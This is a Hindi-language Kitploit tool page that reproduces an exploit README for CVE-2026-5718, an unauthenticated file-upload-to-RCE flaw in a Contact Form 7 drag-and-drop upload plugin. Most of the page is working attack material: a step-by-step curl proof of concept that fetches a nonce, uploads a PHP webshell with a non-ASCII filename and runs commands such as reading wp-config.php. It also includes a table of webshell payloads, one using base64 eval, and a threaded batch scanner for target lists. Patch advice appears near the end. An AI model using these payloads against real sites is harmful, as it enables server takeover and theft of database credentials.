Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-5718 — CVE-2026-5718: DnD Upload CF7 प्लगइन में अनधिकृत फ़ाइल अपलोड से RCE | Kitploit
उपकरण/GitHubGitHub/xxconi/cve-2026-5718
पेलोड जनरेशनभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubxxconi/cve-2026-5718

CVE-2026-5718

CVE-2026-5718: DnD Upload CF7 प्लगइन में अनधिकृत फ़ाइल अपलोड से RCE

रिपॉजिटरी देखें
13 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-5718

CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin

CVE-2026-5718 — DnD CF7 File Upload RCE Scanner

Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug: drag-and-drop-multiple-file-upload-contact-form-7 CVE ID: CVE-2026-5718 CVSS Score: 8.1 (High) CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H भेद्यता प्रकार: Unauthenticated Arbitrary File Upload → Remote Code Execution प्रभावित संस्करण: <= 1.3.9.6 पैच किया गया संस्करण: 1.3.9.7 जारी तिथि: 17 अप्रैल 2026 शोधकर्ता: Leonid Semenenko (lsemenenko) — Wordfence


📌 भेद्यता के बारे में

Drag and Drop Multiple File Upload for Contact Form 7 प्लगइन में दो स्वतंत्र तर्कदोष मिलकर एक अनधिकृत हमलावर को PHP वेबशेल अपलोड करने की अनुमति देते हैं।

  1. ब्लैकलिस्ट विध्वंस: अनुकूलित ब्लैकलिस्ट कॉन्फ़िगरेशन डिफ़ॉल्ट खतरनाक एक्सटेंशन सूची को जोड़ने के बजाय पूरी तरह बदल देता है। php अब अवरुद्ध नहीं होता।

  • गैर-ASCII बायपास: फ़ाइल नाम में गैर-ASCII वर्णों की उपस्थिति wpcf7_antiscript_file_name() फ़ंक्शन के कॉल को रोकती है। .php एक्सटेंशन बरकरार रहता है और फ़ाइल डिस्क पर लिखी जाती है।


  • 🔍 भेद्यता सारांश

    क्षेत्रमान
    प्लगइन नामDrag and Drop Multiple File Upload for CF7
    CVE IDCVE-2026-5718
    CVSS स्कोर8.1 (उच्च)
    भेद्यता प्रकारUnauthenticated Arbitrary File Upload
    प्रभावित संस्करण<= 1.3.9.6
    पैच किया गया संस्करण1.3.9.7
    पूर्व शर्तCF7 फॉर्म में blacklist-types अनुकूलित कॉन्फ़िगरेशन आवश्यक

    ⚙️ तकनीकी विश्लेषण

    भेद्यता 1 — Nonce सार्वजनिक है (पंक्ति 62)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 62–71
    function dnd_wpcf7_nonce_check() {
        // एकमात्र सुरक्षा: User-Agent में 'curl' जाँच — आसानी से बायपास किया जा सकता है
        if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
            wp_send_json_error('Request blocked: cURL access is forbidden.');
        }
    
        if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
            // अमान्य nonce → नया nonce लौटाता है
            wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
        }
    }
    

    wp_ajax_nopriv__wpcf7_check_nonce एक्शन सार्वजनिक है। जब अमान्य nonce भेजा जाता है, तो नया nonce मुफ्त दिया जाता है। Mozilla UA के साथ curl जाँच को बायपास किया जाता है।


    भेद्यता 2 — ब्लैकलिस्ट बदलना (विलय के बजाय) (पंक्ति 883)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 883–886
    $blacklist_types = dnd_cf7_not_allowed_ext();
    // ↑ ~80 खतरनाक एक्सटेंशन: php, php3, php4, pht, phtml, phar...
    
    if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
        $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
        // ↑ ASSIGNMENT (=) — MERGE नहीं
        // अनुकूलित सूची: केवल ['zip']
        // 'php' अब सूची में नहीं है → स्वीकार किया जाता है
    }
    

    ट्रिगर करने वाली फॉर्म टैग कॉन्फ़िगरेशन:

    root@kitploit:~
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

    एडमिन ZIP को ब्लॉक करना चाहता है → प्लगइन सभी डिफ़ॉल्ट डेनीलिस्ट को हटा देता है। php सहित सभी खतरनाक एक्सटेंशन अब स्वीकार किए जाते हैं।

    इसके अलावा, filetypes="*" के लिए हार्डकोडेड सूची भी अधूरी है:

    root@kitploit:~
    // line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' गायब हैं
    $not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
    

    भेद्यता 3 — गैर-ASCII बायपास (पंक्ति 970)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 969–972
    $ascii_name = dnd_cf7_remove_icons( $filename );
    
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        // केवल शुद्ध-ASCII फ़ाइल नामों के लिए कॉल किया जाता है
        $filename = wpcf7_antiscript_file_name( $ascii_name );
        // ↑ shell.php → shell.php.txt बनाता — लेकिन बायपास हो जाता है
    }
    // यदि गैर-ASCII वर्ण है, तो यह ब्लॉक बायपास हो जाता है
    // $filename = "shellシ.php" → .php एक्सटेंशन बरकरार रहता है
    
    root@kitploit:~
    // dnd_cf7_check_ascii() — lines 1029–1041
    function dnd_cf7_check_ascii( $string ) {
        $string = sanitize_file_name( $string );
        // ↑ केवल स्थानीय प्रतिलिपि बदलती है, बाहरी $filename प्रभावित नहीं होता
        if ( mb_check_encoding( $string, 'ASCII' ) ) {
            return true;
        }
        return false;  // गैर-ASCII वर्ण → false → antiscript बायपास
    }
    

    🔴 पूर्ण आक्रमण श्रृंखला

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────┐
    │  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
    │  User-Agent: Mozilla/5.0  (curl नहीं)                      │
    │       │                                                     │
    │       ▼                                                     │
    │  {"success":true,"data":"abc123def456"}                     │
    │  → Nonce मुफ्त प्राप्त हुआ                                 │
    └──────────────────────────┬──────────────────────────────────┘
                               │
    ┌──────────────────────────▼──────────────────────────────────┐
    │  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
    │  security=abc123def456                                      │
    │  upload-file=shellシ.php (Content-Type: application/x-php) │
    │       │                                                     │
    │       ├── Nonce मान्य ✓                                     │
    │       ├── blacklist=['zip'] → 'php' अवरुद्ध नहीं ✓         │
    │       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
    │       ├── wpcf7_antiscript_file_name() बायपास किया गया ✓    │
    │       └── move_uploaded_file("shellシ.php") → डिस्क पर लिखा गया│
    └──────────────────────────┬──────────────────────────────────┘
                               │
    ┌──────────────────────────▼──────────────────────────────────┐
    │  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
    │      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
    │       │                                                     │
    │       ▼                                                     │
    │  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
    │  → अनधिकृत RCE ✓                                           │
    └─────────────────────────────────────────────────────────────┘
    

    🧪 Proof of Concept (मैन्युअल)

    ⚠️ अस्वीकरण: यह PoC केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। केवल उन सिस्टम पर उपयोग करें जिनके आप स्वामी हैं या जिनके लिए आपके पास स्पष्ट लिखित प्राधिकरण है।

    पूर्व शर्तें:

    • प्लगइन स्थापित और सक्रिय (संस्करण <= 1.3.9.6)
    • CF7 फॉर्म में [mfile] फ़ील्ड blacklist-types के साथ:
      root@kitploit:~
      [mfile upload-file filetypes="*" blacklist-types:zip]
      

    चरण 1 — Nonce प्राप्त करें

    root@kitploit:~
    TARGET="https://target.example.com"
    
    NONCE=$(curl -s -X POST \
      "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      --data "action=_wpcf7_check_nonce" \
      | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
    
    echo "Nonce: $NONCE"
    

    अपेक्षित प्रतिक्रिया:

    root@kitploit:~
    {"success": true, "data": "abc123def456"}
    

    चरण 2 — गैर-ASCII फ़ाइल नाम के साथ वेबशेल बनाएँ

    root@kitploit:~
    # 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
    SHELL_FILENAME="shellシ.php"
    echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
    

    चरण 3 — शेल अपलोड करें

    root@kitploit:~
    FORM_ID=1
    FIELD_NAME="upload-file"
    SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
    
    curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      -F "action=dnd_codedropz_upload" \
      -F "security=${NONCE}" \
      -F "form_id=${FORM_ID}" \
      -F "upload_name=${FIELD_NAME}" \
      -F "upload_folder=${SESSION_FOLDER}" \
      -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
    

    अपेक्षित प्रतिक्रिया:

    root@kitploit:~
    {
      "success": true,
      "data": {
        "path": "<session-folder-uuid>",
        "file": "shellシ.php"
      }
    }
    

    चरण 4 — शेल URL बनाएँ

    root@kitploit:~
    UPLOAD_PATH="<path-from-response>"
    SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
    echo "Shell URL: $SHELL_URL"
    

    चरण 5 — RCE ट्रिगर करें

    root@kitploit:~
    # id कमांड
    curl -s "${SHELL_URL}?cmd=id"
    # uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    # wp-config.php पढ़ें
    curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
    

    🛠️ स्वचालित स्कैनर

    स्थापना

    root@kitploit:~
    git clone https://github.com/kullanici/cve-2026-5718-scanner
    cd cve-2026-5718-scanner
    pip install -r requirements.txt
    

    requirements.txt

    root@kitploit:~
    requests
    

    🚀 उपयोग

    एकल लक्ष्य — पूर्ण स्वचालित

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com
    

    फॉर्म ID और फ़ील्ड नाम मैन्युअल

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --form-id 1 --field-name upload-file
    

    पूर्ण शेल + अनुकूलित कमांड

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --shell-type full --verify-cmd "whoami"
    

    बैच स्कैन

    root@kitploit:~
    python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
    

    प्रॉक्सी के साथ (Burp Suite)

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --proxy http://127.0.0.1:8080
    

    ⚙️ पैरामीटर

    पैरामीटरसंक्षिप्तविवरणडिफ़ॉल्ट
    --url-uएकल लक्ष्य URL—
    --list-lलक्ष्य सूची फ़ाइल—
    --threads-tथ्रेड की संख्या10
    --output-oआउटपुट फ़ाइलrce_results.txt
    --form-id—CF7 फॉर्म IDस्वचालित पहचान
    --field-name—mfile फ़ील्ड का नामupload-file
    --shell-name—शेल फ़ाइल नामshell
    --shell-type—शेल प्रकारsystem
    --verify-cmd—RCE सत्यापन कमांडid
    --proxy—प्रॉक्सी URL—
    --timeout—अनुरोध टाइमआउट (सेकंड)10
    --force—प्लगइन पहचान विफल होने पर भी जारी रखेंFalse

    💀 शेल प्रकार

    प्रकारपेलोडविवरण
    system<?php system($_GET["cmd"]); ?>मूल सिस्टम कमांड
    passthru<?php passthru($_GET["cmd"]); ?>कच्चा आउटपुट
    exec<?php echo exec($_GET["cmd"]); ?>मौन निष्पादन
    assert<?php assert($_POST["cmd"]); ?>POST के साथ eval
    b64<?php eval(base64_decode($_POST["cmd"])); ?>Base64 अस्पष्टता
    fullshell_exec + system + exec fallbackपूर्ण कवरेज

    🔤 गैर-ASCII वर्ण सेट

    स्कैनर निम्नलिखित वर्णों को क्रम से आज़माता है:

    वर्णयूनिकोडविवरण
    シU+30B7कटाकाना Si (PoC में प्रयुक्त)
    жU+0436सिरिलिक
    ñU+00F1लैटिन विस्तारित
    中U+4E2DCJK
    αU+03B1ग्रीक
    ßU+00DFजर्मन

    📂 शेल अपलोड स्थान

    root@kitploit:~
    WordPress रूट/
    └── wp-content/
        └── uploads/
            └── wp_dndcf7_uploads/
                └── wpcf7-files/
                    └── <session-uuid>/
                        └── shellシ.php   ← शेल यहाँ
    

    ⚠️ नोट: प्लगइन डिफ़ॉल्ट रूप से 1 घंटे के बाद फ़ाइलों को साफ़ करता है। शेल इस अवधि के दौरान सुलभ रहता है।


    📊 स्कैनर आउटपुट स्थितियाँ

    स्थितिविवरण
    ★ RCE OKशेल अपलोड हुआ + कमांड निष्पादित
    ★ SHELL ALIVEशेल सुलभ, भिन्न प्रतिक्रिया
    ~ EXEC_DISABLEDशेल मौजूद, exec() बंद
    ~ HTACCESSशेल अपलोड हुआ लेकिन .htaccess बाधा
    ? UPLOADEDअपलोड हुआ लेकिन URL नहीं मिला
    - UPL_FAILअपलोड विफल (पैच किया गया/कॉन्फ़िगरेशन नहीं)
    ~ NO_NONCENonce प्राप्त नहीं हुआ
    - NO_PLUGINप्लगइन स्थापित नहीं
    ~ UNREACHलक्ष्य तक पहुँच नहीं

    🖥️ स्कैनर आउटपुट उदाहरण

    root@kitploit:~
    [*] लक्ष्य     : http://hedef.com
    [*] फॉर्म ID   : स्वचालित पहचान
    [*] शेल प्रकार : system
    [*] सत्यापन CMD: id
    
    [→] http://hedef.com  चरण 1/5: Nonce प्राप्त किया जा रहा है...
    [→] http://hedef.com  चरण 2/5: CF7 फॉर्म पहचान...
    [→] http://hedef.com  चरण 3/5: शेल अपलोड हो रहा है (गैर-ASCII बायपास)...
    [→] http://hedef.com  चरण 4/5: शेल URL बनाया जा रहा है...
    [→] http://hedef.com  चरण 5/5: RCE सत्यापित किया जा रहा है...
    
    ═════════════════════════════════════════════════════════════════
    [★ RCE OK    ] http://hedef.com
      संस्करण    : 1.3.9.6
      Nonce      : abc123def4  (स्रोत: ajax_endpoint)
      गैर-ASCII  : シ
      शेल URL    : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
                    wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
      RCE आउटपुट : uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ═════════════════════════════════════════════════════════════════
    
    [+] सहेजा गया → rce_results.txt
    

    🛡️ सुरक्षा / पैच

    उपायकार्यान्वयन
    प्लगइन अपडेटसंस्करण 1.3.9.7+ में अपग्रेड करें
    ब्लैकलिस्ट विलय= के बजाय array_merge() का उपयोग करें
    बिना शर्त एंटीस्क्रिप्टwpcf7_antiscript_file_name() को हमेशा कॉल किया जाना चाहिए
    Nonce सुरक्षाNonce एंडपॉइंट को सार्वजनिक पहुँच से बंद किया जाना चाहिए
    .htaccessअपलोड निर्देशिका में PHP निष्पादन अवरुद्ध करें

    सुरक्षित ब्लैकलिस्ट विलय:

    root@kitploit:~
    // असुरक्षित (वर्तमान — 1.3.9.6)
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    
    // सुरक्षित (अनुशंसित — 1.3.9.7+)
    $blacklist_types = array_merge(
        dnd_cf7_not_allowed_ext(),
        explode( '|', $blacklist["$cf7_upload_name"] )
    );
    

    बिना शर्त एंटीस्क्रिप्ट:

    root@kitploit:~
    // असुरक्षित (वर्तमान)
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        $filename = wpcf7_antiscript_file_name( $ascii_name );
    }
    
    // सुरक्षित (अनुशंसित)
    $filename = wpcf7_antiscript_file_name( $filename );  // हमेशा कॉल करें
    

    अपलोड निर्देशिका .htaccess:

    root@kitploit:~
    <FilesMatch "\.php\d?$">
        Deny from all
    </FilesMatch>
    Options -ExecCGI
    AddType text/plain .php .php5 .phtml .phar
    

    📁 फ़ाइल संरचना

    root@kitploit:~
    cve-2026-5718-scanner/
    ├── dnd_cf7_upload.py   # मुख्य स्कैनर
    ├── requirements.txt    # निर्भरताएँ
    └── README.md           # यह फ़ाइल
    

    ⚠️ कानूनी अस्वीकरण

    यह उपकरण और PoC केवल अधिकृत सिस्टमों पर, शैक्षिक उद्देश्यों के लिए और पैठ परीक्षण के दायरे में उपयोग के लिए तैयार किया गया है। बिना अनुमति के सिस्टमों पर इसका उपयोग भारतीय दंड संहिता की धाराएँ 243-245 और अंतरराष्ट्रीय साइबर अपराध कानूनों के तहत अपराध माना जाता है। डेवलपर, उपकरण के दुरुपयोग से उत्पन्न किसी भी कानूनी जिम्मेदारी को स्वीकार नहीं करता है।


    📄 लाइसेंस

    MIT License — केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए।


    🔗 संदर्भ

    • Wordfence Advisory
    • Plugin WordPress Directory
    • CVSS 3.1 Calculator
    • CWE-434: Unrestricted Upload of File with Dangerous Type
    • Unicode Non-ASCII Characters
    टूल डाउनलोड करें